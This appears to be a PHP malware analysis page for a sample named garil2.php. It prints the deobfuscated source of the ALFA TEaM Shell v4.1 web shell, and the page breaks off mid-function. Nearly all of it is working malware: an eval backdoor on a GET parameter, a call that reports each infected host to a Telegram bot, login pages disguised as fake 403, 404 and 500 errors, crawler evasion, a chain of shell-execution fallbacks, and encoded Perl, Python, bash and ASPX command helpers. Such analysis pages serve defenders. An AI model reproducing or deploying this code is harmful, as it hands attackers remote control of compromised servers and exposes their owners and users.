PHP Malware Analysis

garil2.php

md5: bb8df67d32421c1e0ec5a44811748d78

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title
  • ..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::.. (HTML)

URLs


Deobfuscated PHP code

<?php

error_reporting(0);
eval /* PHPDeobfuscator eval output */ {
    eval($_GET['cmd']);
    file_get_contents("https://api.telegram.org/bot1729991611:AAHNMJh9xPulpdUqS46UmHGwckc5rJ7n6zs/sendMessage?chat_id=-555971049&text=" . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
};
$GLOBALS['oZgNypoPRU'] = array(
    'username' => 'alfa',
    'password' => 'a6f452ec3293d7fb72c5b677257b20ec',
    //md5(ehsan)
    'safe_mode' => '0',
    'login_page' => '403',
    'show_icons' => '1',
    'post_encryption' => false,
    'cgi_api' => true,
);
$CWppUDJxuf = 'function_exists';
$aztJtafUXm = 'charCodeAt';
$OVpGNqqFZs = 'eval';
$psDEwGhsxg = 'gzinflate';
if (!function_exists('base64_encode')) {
    function vcnvSCZgBz($data)
    {
        if (empty($data)) {
            return;
        }
        $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = '';
        $tmp_arr = array();
        if (!$data) {
            return $data;
        }
        do {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        } while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = strlen($data) % 3;
        return ($r ? substr($enc, 0, $r - 3) : $enc) . substr('===', $r || 3);
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
} else {
    function vcnvSCZgBz($s)
    {
        $b = 'base64_encode';
        return base64_encode($s);
    }
}
if (!$CWppUDJxuf('base64_decode')) {
    function zRtSHsbTzV($input)
    {
        if (empty($input)) {
            return;
        }
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);
        do {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = $enc1 << 2 | $enc2 >> 4;
            $chr2 = ($enc2 & 15) << 4 | $enc3 >> 2;
            $chr3 = ($enc3 & 3) << 6 | $enc4;
            $output .= chr((int) $chr1);
            if ($enc3 != 64) {
                $output .= chr((int) $chr2);
            }
            if ($enc4 != 64) {
                $output .= chr((int) $chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        } while ($i < strlen($input));
        return $output;
    }
} else {
    function zRtSHsbTzV($s)
    {
        $b = 'base64_decode';
        return base64_decode($s);
    }
}
function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value) {
    $prefix = substr($key, 0, 2);
    if ($prefix == "us") {
        $GLOBALS['DB_NAME']["user"] = $value;
        $GLOBALS['DB_NAME']["user_rand"] = $key;
    } elseif ($prefix == "pa") {
        $GLOBALS['DB_NAME']["pass"] = $value;
        $GLOBALS['DB_NAME']["pass_rand"] = $key;
    } elseif ($prefix == "sa") {
        $GLOBALS['DB_NAME']["safemode"] = $value;
        $GLOBALS['DB_NAME']["safemode_rand"] = $key;
    } elseif ($prefix == "lo") {
        $GLOBALS['DB_NAME']["login_page"] = $value;
        $GLOBALS['DB_NAME']["login_page_rand"] = $key;
    } elseif ($prefix == "sh") {
        $GLOBALS['DB_NAME']["show_icons"] = $value;
        $GLOBALS['DB_NAME']["show_icons_rand"] = $key;
    } elseif ($prefix == "po") {
        $GLOBALS['DB_NAME']["post_encryption"] = $value;
        $GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
    } elseif ($prefix == "cg") {
        $GLOBALS['DB_NAME']["cgi_api"] = $value;
        $GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
    }
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) {
    exit;
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spider");
    if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i", $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
if (!isset($GLOBALS['DB_NAME']['user'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'user\']');
}
if (!isset($GLOBALS['DB_NAME']['pass'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
}
if (!isset($GLOBALS['DB_NAME']['safemode'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
}
if (!isset($GLOBALS['DB_NAME']['login_page'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
}
if (!isset($GLOBALS['DB_NAME']['show_icons'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
}
if (!isset($GLOBALS['DB_NAME']['post_encryption'])) {
    exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
}
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", isset($GLOBALS["DB_NAME"]["post_encryption"]) && $GLOBALS["DB_NAME"]["post_encryption"] == true ? true : false);
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__ ? _AlfaSecretKey() : '');
$GLOBALS['__ALFA_COLOR__'] = array("shell_border" => array("key_color" => "#0E304A", "multi_selector" => array(".header" => "border: 7px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}")), "header_vars" => "#27979B", "header_values" => "#67ABDF", "header_on" => "#00FF00", "header_off" => "#ff0000", "header_none" => "#00FF00", "home_shell" => "#ff0000", "home_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".home_shell:hover" => "color: {color};")), "back_shell" => "#efbe73", "back_shell:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".back_shell:hover" => "color: {color};")), "header_pwd" => "#00FF00", "header_pwd:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_pwd:hover" => "color: {color};")), "header_drive" => "#00FF00", "header_drive:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".header_drive:hover" => "color: {color};")), "header_show_all" => "#00FF00", "disable_functions" => "#ff0000", "footer_text" => "#27979B", "menu_options" => "#27979B", "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "options_list" => array("key_color" => "#00FF00", "multi_selector" => array(".content_options_holder .header center a" => "color: {color};")), "options_list:hover" => array("key_color" => "#FFFFFF", "multi_selector" => array(".content_options_holder .header center a:hover" => "color: {color};")), "options_list_header" => array("key_color" => "#59cc33", "multi_selector" => array(".txtfont_header" => "color: {color};")), "options_list_text" => array("key_color" => "#FFFFFF", "multi_selector" => array(".txtfont,.tbltxt" => "color: {color};")), "Alfa+" => array("key_color" => "#06ff0f", "multi_selector" => array(".alfa_plus" => "color: {color};font-weight: unset;")), "hidden_shell_text" => array("key_color" => "#00FF00", "multi_selector" => array("#hidden_sh a" => "color: {color};")), "hidden_shell_version" => "#ff0000", "shell_name" => "#FF0000", "main_row:hover" => array("key_color" => "#646464", "multi_selector" => array(".main tr:hover" => "background-color: {color};")), "main_header" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main th" => "color: {color};")), "main_name" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .main_name" => "color: {color};font-weight: unset;")), "main_size" => "#67ABDF", "main_modify" => "#67ABDF", "main_owner_group" => "#67ABDF", "main_green_perm" => "#25ff00", "main_red_perm" => "#FF0000", "main_white_perm" => "#FFFFFF", "beetween_perms" => "#FFFFFF", "main_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".main .actions" => "color: {color};")), "menu_options:hover" => array("key_color" => "#646464", "multi_selector" => array(".menu_options:hover" => "background-color: {color};font-weight: unset;")), "minimize_editor_background" => array("key_color" => "#0e304a", "multi_selector" => array(".minimized-wrapper" => "background-color: {color};")), "minimize_editor_text" => array("key_color" => "#f5deb3", "multi_selector" => array(".minimized-text" => "color: {color};")), "editor_border" => array("key_color" => "#0e304a", "multi_selector" => array(".editor-explorer,.editor-modal" => "border: 2px solid {color};")), "editor_background" => array("key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => array(".editor-explorer,.editor-modal" => "background-color: {color};")), "editor_header_background" => array("key_color" => "rgba(21, 66, 88, 0.93)", "multi_selector" => array(".editor-header" => "background-color: {color};")), "editor_header_text" => array("key_color" => "#00ff7f", "multi_selector" => array(".editor-path" => "color: {color};")), "editor_header_button" => array("key_color" => "#1d5673", "multi_selector" => array(".close-button, .editor-minimize" => "background-color: {color};")), "editor_actions" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_actions" => "color: {color};")), "editor_file_info_vars" => array("key_color" => "#FFFFFF", "multi_selector" => array(".editor_file_info_vars" => "color: {color};")), "editor_file_info_values" => array("key_color" => "#67ABDF", "multi_selector" => array(".filestools" => "color: {color};")), "editor_history_header" => array("key_color" => "#14ff07", "multi_selector" => array(".hheader-text,.history-clear" => "color: {color};")), "editor_history_list" => array("key_color" => "#03b3a3", "multi_selector" => array(".editor-file-name" => "color: {color};")), "editor_history_selected_file" => array("key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => array(".is_active" => "background-color: {color};")), "editor_history_file:hover" => array("key_color" => "#646464", "multi_selector" => array(".file-holder > .history:hover" => "background-color: {color};")), "input_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("input[type=text],textarea" => "border: 1px solid {color}")), "input_box_text" => array("key_color" => "#999999", "multi_selector" => array("input[type=text],textarea" => "color: {color};")), "input_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "select_box_border" => array("key_color" => "#0E304A", "multi_selector" => array("select" => "border: 1px solid {color}")), "select_box_text" => array("key_color" => "#FFFFEE", "multi_selector" => array("select" => "color: {color};")), "select_box:hover" => array("key_color" => "#27979B", "multi_selector" => array("select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "button_border" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit],.button,#addup" => "border: 1px solid {color};")), "button:hover" => array("key_color" => "#27979B", "multi_selector" => array("input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "outputs_text" => array("key_color" => "#67ABDF", "multi_selector" => array(".ml1" => "color: {color};")), "outputs_border" => array("key_color" => "#0E304A", "multi_selector" => array(".ml1" => "border: 1px solid {color};")), "uploader_border" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_background" => array("key_color" => "#0E304A", "multi_selector" => array(".inputfile strong" => "background-color: {color};")), "uploader_text_right" => array("key_color" => "#FFFFFF", "multi_selector" => array(".inputfile strong" => "color: {color};")), "uploader_text_left" => array("key_color" => "#25ff00", "multi_selector" => array(".inputfile span" => "color: {color};")), "uploader:hover" => array("key_color" => "#27979B", "multi_selector" => array(".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};")), "uploader_progress_bar" => array("key_color" => "#00ff00", "multi_selector" => array(".up_bar" => "background-color: {color};")), "mysql_tables" => "#00FF00", "mysql_table_count" => "#67ABDF", "copyright" => "#dfff00", "scrollbar" => array("key_color" => "#1e82b5", "multi_selector" => array("*::-webkit-scrollbar-thumb" => "background-color: {color};")), "scrollbar_background" => array("key_color" => "#000115", "multi_selector" => array("*::-webkit-scrollbar-track" => "background-color: {color};")));
$GLOBALS['__file_path'] = str_replace('\\', '/', trim("/var/www/html/garil2.php.ff1103ffa45cbbeac4785710b0f57d79.bin"));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'], 'AlfaPass' => $GLOBALS['DB_NAME']['pass'], 'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'], 'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if ($config['AlfaProtectShell']) {
    $SERVER_SIG = isset($_SERVER["SERVER_SIGNATURE"]) ? $_SERVER["SERVER_SIGNATURE"] : "";
    $Eform = '<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
    if ($config['AlfaLoginPage'] == 'gui') {
        if (@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])) {
            if (@$_POST["usrname"] == $config['AlfaUser'] && @md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v4.1-Tesla ~</title><center>\r\n<center><img style=\"border-radius:100px;\" width=\"500\" height=\"250\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http://solevisible.com/images/alfa-iran.png\" /></center>\r\n<div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n<center><table cellpadding='2' cellspacing='0' border='0' id='ap_table'>\r\n<tr><td bgcolor=\"green\"><table cellpadding='0' cellspacing='0' border='0' width='100%'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>~ ALFA TEaM Shell-v4.1-Tesla ~</b></font></th></tr>\r\n<tr><td bgcolor=\"black\" style=\"padding:5\">\r\n<form method=\"post\">\r\n<input type=\"hidden\" name=\"action\" value=\"login\">\r\n<input type=\"hidden\" name=\"hide\" value=\"\">\r\n<center><table>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:</font></td><td><input type=\"text\" size=\"30\" name=\"usrname\" placeholder=\"username\" onfocus=\"if (this.value == 'username'){this.value = '';}\"></td></tr>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Password:</font></td><td><input type=\"password\" size=\"30\" name=\"password\" placeholder=\"password\" onfocus=\"if (this.value == 'password') this.value = '';\"></td></tr>\r\n<tr><td><font face=\"verdana,arial\" size=-1>&nbsp;</font></td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Login\"></font></td></tr></table>\r\n</div><br /></center>";
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '500') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, ' . $_SERVER['SERVER_ADMIN'] . ' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>' . $SERVER_SIG . '</body></html>' . $Eform;
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '403') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access " . $_SERVER['PHP_SELF'] . " on this server.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
            exit;
        }
    } elseif ($config['AlfaLoginPage'] == '404') {
        if (@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])) {
            if (@md5($_POST["password"]) == $config['AlfaPass']) {
                __alfa_set_cookie("AlfaUser", $config['AlfaUser']);
                __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
                @header('location: ' . $_SERVER["PHP_SELF"]);
            }
            echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL " . $_SERVER['PHP_SELF'] . " was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>" . $SERVER_SIG . "</body></html>" . $Eform;
            exit;
        }
    }
}
function decrypt_post($str)
{
    if (__ALFA_POST_ENCRYPTION__) {
        $pwd = __ALFA_SECRET_KEY__;
        $pwd = __ZW5jb2Rlcg($pwd);
        $str = __ZGVjb2Rlcg($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return __ZGVjb2Rlcg($enc_str);
    } else {
        return __ZGVjb2Rlcg($str);
    }
}
function _AlfaSecretKey()
{
    $secret = @$_COOKIE["AlfaSecretKey"];
    if (!isset($_COOKIE["AlfaSecretKey"])) {
        $secret = uniqid(mt_rand(), true);
        __alfa_set_cookie("AlfaSecretKey", $secret);
    }
    return $secret;
}
function alfa_getColor($target)
{
    if (isset($GLOBALS["DB_NAME"]["color"][$target]) && $GLOBALS["DB_NAME"]["color"][$target] != "") {
        return $GLOBALS["DB_NAME"]["color"][$target];
    } else {
        $target = $GLOBALS["__ALFA_COLOR__"][$target];
        if (is_array($target)) {
            return $target["key_color"];
        } else {
            return $target;
        }
    }
}
function alfaCssLoadColors()
{
    $css = "";
    foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
        if (!is_array($value)) {
            $value = alfa_getColor($key);
            $css .= ".{$key}{color: {$value};}";
        } else {
            if (isset($value["multi_selector"])) {
                foreach ($value["multi_selector"] as $k => $v) {
                    $color = alfa_getColor($key);
                    $code = str_replace("{color}", $color, $v);
                    $css .= $k . "{" . $code . "}";
                }
            }
        }
    }
    return $css;
}
if (isset($_POST['ajax'])) {
    function AlfaNum()
    {
        $args = func_get_args();
        $alfax = array();
        $find = array();
        for ($i = 1; $i <= 10; $i++) {
            $alfax[] = $i;
        }
        foreach ($args as $arg) {
            $find[] = $arg;
        }
        echo "<script>";
        foreach ($alfax as $alfa) {
            if (in_array($alfa, $find)) {
                continue;
            }
            echo 'alfa' . $alfa . "_=";
        }
        echo "\"\"</script>";
    }
}
function _alfa_cgicmd($cmd, $lang = "perl", $set_cookie = false)
{
    if (!$GLOBALS["DB_NAME"]["cgi_api"]) {
        return "";
    }
    if (isset($_COOKIE["alfacgiapi_mode"])) {
        return "";
    }
    $cmd_pure = $cmd;
    $is_curl = function_exists('curl_version');
    $is_socket = function_exists('fsockopen');
    if ($is_curl || $is_socket) {
        $recreate = false;
        if (isset($_COOKIE["alfacgiapi"])) {
            if (!@file_exists("alfacgiapi/" . $_COOKIE["alfacgiapi"] . ".alfa")) {
                $recreate = true;
                $lang = $_COOKIE["alfacgiapi"];
            }
        }
        if (!isset($_COOKIE["alfacgiapi"]) || $recreate) {
            @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
            $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
            $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
            $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
            $aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
            if ($lang == "perl") {
                $source = $perl;
            } elseif ($lang == "py") {
                $source = $py;
            } else {
                $source = $bash;
            }
            if ($lang == "aspx") {
                alfaWriteTocgiapi("aspx.aspx", $aspx);
            } else {
                alfaWriteTocgiapi($lang . ".alfa", $source);
            }
            alfacgihtaccess('cgi', "alfacgiapi/");
        } else {
            $lang = $_COOKIE["alfacgiapi"];
        }
        $cgi_ext = ".alfa";
        if ($lang == "aspx") {
            $cgi_ext = ".aspx";
        }
        $cgi_url = "ALFA_DATA/alfacgiapi/" . $lang . $cgi_ext;
        $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=" . __ZW5jb2Rlcg("cd " . $GLOBALS['cwd'] . ";" . $cmd);
        if ($is_curl) {
            $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://") . $_SERVER["SERVER_NAME"] . dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
            $post = new AlfaCURL();
            $data = $post->Send($address, "post", $cmd);
        } elseif ($is_socket) {
            $server = $_SERVER["SERVER_NAME"];
            $uri = dirname($_SERVER["REQUEST_URI"]) . "/" . $cgi_url;
            $data = _alfa_fsockopen($server, $uri, $cmd);
        }
        $out = "";
        if (strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false) {
            if ($set_cookie) {
                __alfa_set_cookie("alfacgiapi", $lang);
            }
            if (@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)) {
                $out = $res[1];
            }
        } elseif ($lang == "perl") {
            return _alfa_cgicmd($cmd_pure, "py", $set_cookie);
        } elseif ($lang == "py") {
            return _alfa_cgicmd($cmd_pure, "bash", $set_cookie);
        } elseif ($lang == "bash" && $GLOBALS['sys'] == "win") {
            return _alfa_cgicmd($cmd_pure, "aspx", $set_cookie);
        } else {
            if ($set_cookie) {
                __alfa_set_cookie("alfacgiapi_mode", "off");
            }
        }
        return trim($out);
    } else {
        return "";
    }
}
function alfaGetCwd()
{
    if (function_exists("getcwd")) {
        return @getcwd();
    } else {
        return dirname($_SERVER["SCRIPT_FILENAME"]);
    }
}
function alfaEx($in, $re = false, $cgi = true, $all = false)
{
    $data = _alfa_php_cmd($in, $re);
    if (empty($data) && $cgi || $all) {
        if ($GLOBALS['sys'] == 'unix') {
            if (strlen(_alfa_php_cmd("whoami")) == 0 || $all) {
                $cmd = _alfa_cgicmd($in);
                if (!empty($cmd)) {
                    return $cmd;
                }
            }
        }
    }
    return $data;
}
function _alfa_php_cmd($in, $re = false)
{
    $out = '';
    try {
        if ($re) {
            $in .= " 2>&1";
        }
        if (function_exists('exec')) {
            @exec($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $out = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $out = shell_exec($in);
        } elseif (function_exists("popen") && function_exists("pclose")) {
            if (is_resource($f = @popen($in, "r"))) {
                $out = "";
                while (!@feof($f)) {
                    $out .= fread($f, 1024);
                }
                pclose($f);
            }
        } elseif (function_exists('proc_open')) {
            $pipes = array();
            $process = @proc_open($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
            $out = @stream_get_contents($pipes[1]);
        } elseif (class_exists('COM')) {
            $alfaWs = new COM('WScript.shell');
            $exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
            $stdout = $exec->StdOut();
            $out = $stdout->ReadAll();
        }
    } catch (Exception $e) {
    }
    return $out;
}
function _alfa_fsockopen($server, $uri, $post)
{
    $socket = @fsockopen($server, 80, $errno, $errstr, 15);
    if ($socket) {
        $http = "POST {$uri} HTTP/1.0\r\n";
        $http .= "Host: {$server}\r\n";
        $http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
        $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $http .= "Content-length: " . strlen($post) . "\r\n";
        $http .= "Connection: close\r\n\r\n";
        $http .= $post . "\r\n\r\n";
        fwrite($socket, $http);
        $contents = "";
        while (!@feof($socket)) {
            $contents .= @fgets($socket, 4096);
        }
        list($header, $body) = explode("\r\n\r\n", $contents, 2);
        @fclose($socket);
        return $body;
    } else {
        return "";
    }
}
if (isset($_GET["solevisible"])) {
    @error_reporting("\x00\x00\x0f\x03\x18");
    echo "<html>";
